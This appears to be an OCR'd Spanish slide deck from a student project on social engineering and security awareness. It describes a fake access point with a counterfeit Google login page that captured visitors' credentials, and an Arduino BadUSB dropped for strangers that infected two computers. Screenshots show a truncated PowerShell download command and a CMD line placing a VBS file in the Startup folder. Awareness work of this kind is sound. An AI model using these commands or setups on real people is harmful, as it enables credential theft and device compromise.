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C) INTRODUCCION @

* En la década de los anos 90 cuando aparecen los primeros virus y las personas<:>

Introduccion

empiezan a tener conciencia sobre los peligros que conlleva usar una
computadora

* Actualmente, con la masificacion de los medios electréonicos de comunicacion la
seguridad informatica esta mas vigente que nunca antes

* El nivel de cultura en la materia de los usuarios, empresas e instituciones esta
lejos de ser el ideal
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Objetivo & .

* |dentificar el nivel de cultura sobre seguridad informatica a nivel
personal y empresarial usando técnicas de ingenieria social <:>
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Seguridad informatica & <:>

* La seguridad informatica es un conjunto de herramientas y estrategias cuyo
objetivo es garantizar la integridad, disponibilidad y confidencialidad de la <:>

informacion en un sistema

e Su importancia radica en el hecho de que la mayoria de las acciones de nuestro
dia a dia dependen de ella
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Ingenieria social & ..

* La ingenieria social es la manipulacion psicologica de personas para que
realicen cierta accion o den informacion sensible. Algunos casos son: <:>
* Llamadas de extorsion
* Robos bancarios en cajeros automaticos
* Robo de identidad con llamadas telefénicas
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Ingenieria social (Il)

Los tipos de ingenieria social son:

* Basadas en personas
* Impersonar (Imitar)
* Observacion
* Estudio de conductas

* Basadas en computadoras
* Engainos virales
e Phishing (Suplantacion de identidad)
* Software malicioso
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Phishing O

* El origen de su nombre puede ser del dicho: <:>
“Si le das un pescado a un hombre, él comerd por un dia pero enséfiale a <:>
pescary tendra para comer toda su vida”

Phishing == Fishing == Pescar

* Intenta obtener informacion sensible como: usuarios, contrasenas, tarjetas de

crédito, entre otras. Es por eso que se le denominan: atagues de robo de
identidad
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Bad USB (Rubber Ducky) C)D

* Es una herramienta de inyeccion de pulsos de teclado disfrazada de una <:>
unidad USB. D
* Las computadoras lo reconocen como un teclado regular y aceptan
automaticamente acciones pre-programadas.

Figura. Ejemplo de una Bad USB
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Desarrollo O

El desarrollo consistid en dos partes:

e Creacion un punto de acceso falso el cual proporciona acceso a Internet por <:>
medio de un modem 4g donde se usaron técnicas de phishing

e Desarrollo de una BadUSB de bajo costo usando un Arduino, asi como un
programa malicioso a ejecutarse
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Resultados (I) @=L

* Cuando el usuario se intenta conectar al punto de acceso falso, se muestra
una pagina en la cual el usuario ingresa sus credenciales

Google

Sign in with your Google Account

Password
Need help?

ne Google Account for everything Google

count fol
BEM&eO 2> B

Figura. Sitio web falso mostrado al usuario
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Resultados (I) @=L

* Una vez que se ingresan, son capturadas por el sistema y se hacen visibles al
atacante

@

Figura. Ejemplo de la captura de un usuario y contrasefa por el sistema
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Resultados ()

» Estableciendo el dispositivo durante dos horas se obtuvieron Ios resultados
siguientes:

[=a]

u

=9

[¥¥]

e

[E3

Personas que usaron el punto Personas gue ingresaron sus Personas que no usaron sus
de acceso credenciales legitimas crenciales legitimas

Figura. Resultados obtenidos usando el punto de acceso falso
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Resultados (I1) & .
e La vista al conectarse la bad USB a una computadora se muestra como sigue:

Figura. Ejemplo de la vista de la Bad USB conectada a una computadora
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C) RESULTADOS

Resultados (1)

* Una vez se conecta, se ejecuta una primera secuencia de comandos que

sirven para descargar un archivo malicioso <:>

N Windows PowerShell

Windows Powershell
Copyright (C) Microsoft Corporation. Todos los derechos reservados.

Prueba la nueva tecnologia PowerShell multiplataforma https://aka.ms/pscoreb

new-object System.Net.WebClient

.DownTloadFile(

Figura. Primera secuencia de comandos ejecutados por la Bad USB
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C) RESULTADOS

Resultados (1)

* Una segunda secuencia de comandos se encarga de ejecutar el archivo
malicioso <:>

B CAWINDOWS!system32\CMD.exe

Microsoft Windows [Version 16.8.18362.657]

(c) 2019 Microsoft Corporation. Todos los derechos reservados.

C:\Users\FAMILIA.0.V>CD %userprofilek

C:\Users\FAMILIA.O.V>MOVE APAGAR.VBS "%APPDATA%/mICROSOFT/wWINDOWS/START mENU/pROGRAMS/STARTUP"
El sistema no puede encontrar el archivo especificado.

Figura. Segunda secuencia de comandos ejecutados por la Bad USB
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Resultados () =

* Para este caso, al conectar la Bad USB se instalaba un programa que evitaba
iniciar la computadora

 El dispositivo se dejo a |la deriva y solamente se espero, en una hora, dos :D
usuarios conectaron el dispositivo a su computadora, infectandose

* Las computadoras de los implicados, fueron desinfectadas
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Conclusiones »,

Los resultados indican que es necesaria una mayor educacion en
seguridad informatica para todos los usuarios <:>

Si bien el punto de acceso falso esta orientado mas hacia un objetivo
en especifico, en el caso de la Bad USB al poder ejecutar cualquier tipo
de archivo se tiene un peligro mayor

La Bad USB puede permitir que usuarios inserten el dispositivo en las
computadoras de sus trabajos, generando pérdidas econdmicas
cuantiosas

/" {p \PGro



Recomendaciones o

Se propone crear campafnas que permitan concientizar a personas,
instituciones y empresas a los peligros que estan expuestos <:>
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